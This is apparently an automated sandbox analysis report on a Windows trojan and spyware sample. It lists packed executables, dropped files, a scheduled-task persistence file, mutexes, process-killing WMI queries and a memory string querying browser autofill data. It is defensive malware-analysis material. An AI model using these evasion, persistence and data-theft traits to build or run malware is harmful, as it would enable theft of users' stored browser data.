Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: b76bb5cee7.exe.5.dr	Static PE information: section name:
Source: b76bb5cee7.exe.5.dr	Static PE information: section name: .rsrc
Source: b76bb5cee7.exe.5.dr	Static PE information: section name: .idata
Source: b76bb5cee7.exe.5.dr	Static PE information: section name:
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: section name:
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: section name: .idata
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name:
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name: .idata
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: section name:
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: section name:
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num[1].exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A25A6B	0_3_00A25A6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A772AF	0_3_00A772AF
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0070CEA9	3_2_0070CEA9
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Code function: 3_2_0070DF41	3_2_0070DF41
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_056D7172	9_3_056D7172
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Code function: 9_3_00B5F240	9_3_00B5F240

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2314265372.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315584017.00000000058AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302667268.0000000005959000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304661218.0000000005969000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320473793.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318541568.0000000005AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298116630.0000000005705000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312403645.0000000005984000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320042318.00000000059EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317116942.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318680007.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300481825.00000000058AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319029814.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336108235.0000000000A93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304926008.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311900870.00000000058AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319358797.0000000005B1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314888959.0000000005998000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307982444.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319898376.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297708553.000000000554B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314652179.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300280192.000000000595B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300096488.00000000059EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336051823.0000000005502000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303039256.00000000058A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301292510.0000000005950000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312986824.0000000005982000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320338070.00000000059F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310913305.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312781647.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315867190.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316541745.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315154993.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318262366.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299412323.000000000594E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318824120.00000000059DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319627971.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301881249.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319761262.0000000005B18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305379281.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315703983.00000000059C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316964249.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317313180.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314769491.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314440329.00000000058A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301692963.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313137854.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313672557.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310667303.0000000005A50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319216768.00000000059E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310397804.000000000597F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320621767.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313441326.0000000005985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301587395.000000000595D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314141083.000000000599C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316678110.00000000059BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330727859.0000000005DF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311380261.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319493526.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297858315.00000000058B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318121775.00000000059C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314553440.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313920539.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316002519.00000000059B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315006842.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315431935.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297781995.0000000005704000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300177986.00000000058AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297997212.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302564934.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299255200.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303668328.0000000005969000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316142750.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320789721.00000000059FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310002624.00000000058B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301488223.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311759056.0000000005985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302852436.000000000595A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315302824.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317983569.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313812274.000000000598D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301794711.000000000595D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299082640.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304183167.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311543690.00000000058AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297921910.0000000005709000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302475747.000000000595D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302757448.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311209473.0000000005979000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301394257.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300688784.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316404816.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316810819.0000000005AD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317828945.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318403942.00000000059CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336003627.0000000005336000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316251244.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320193834.00000000058A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298999465.0000000005707000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298906336.00000000058AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314031874.00000000058AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299171124.0000000005945000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302941014.0000000005A16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300578904.000000000595A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979121767241379
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9977009536784741
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: Section: qodksccb ZLIB complexity 0.9945776126305862
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9977009536784741
Source: skotes.exe.4.dr	Static PE information: Section: qodksccb ZLIB complexity 0.9945776126305862
Source: random[1].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9979121767241379
Source: efe6fe4127.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9979121767241379
Source: random[1].exe0.5.dr	Static PE information: Section: fozyxqhw ZLIB complexity 0.9946884020814342
Source: b76bb5cee7.exe.5.dr	Static PE information: Section: fozyxqhw ZLIB complexity 0.9946884020814342
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9977009536784741
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: Section: qodksccb ZLIB complexity 0.9945776126305862

Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: U2242U1STHGPPKHG.exe.9.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.9.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 9XHYSBI0DT1C8ABJDSO.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@82/26@100/14

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Code function: 3_2_04B715D0 ChangeServiceConfigA,

3_2_04B715D0

Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YQEN9A9QU4P1VROBPV5YS.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5672:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6084:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6564:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: num.exe, 0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name, value FROM autofill;H&&
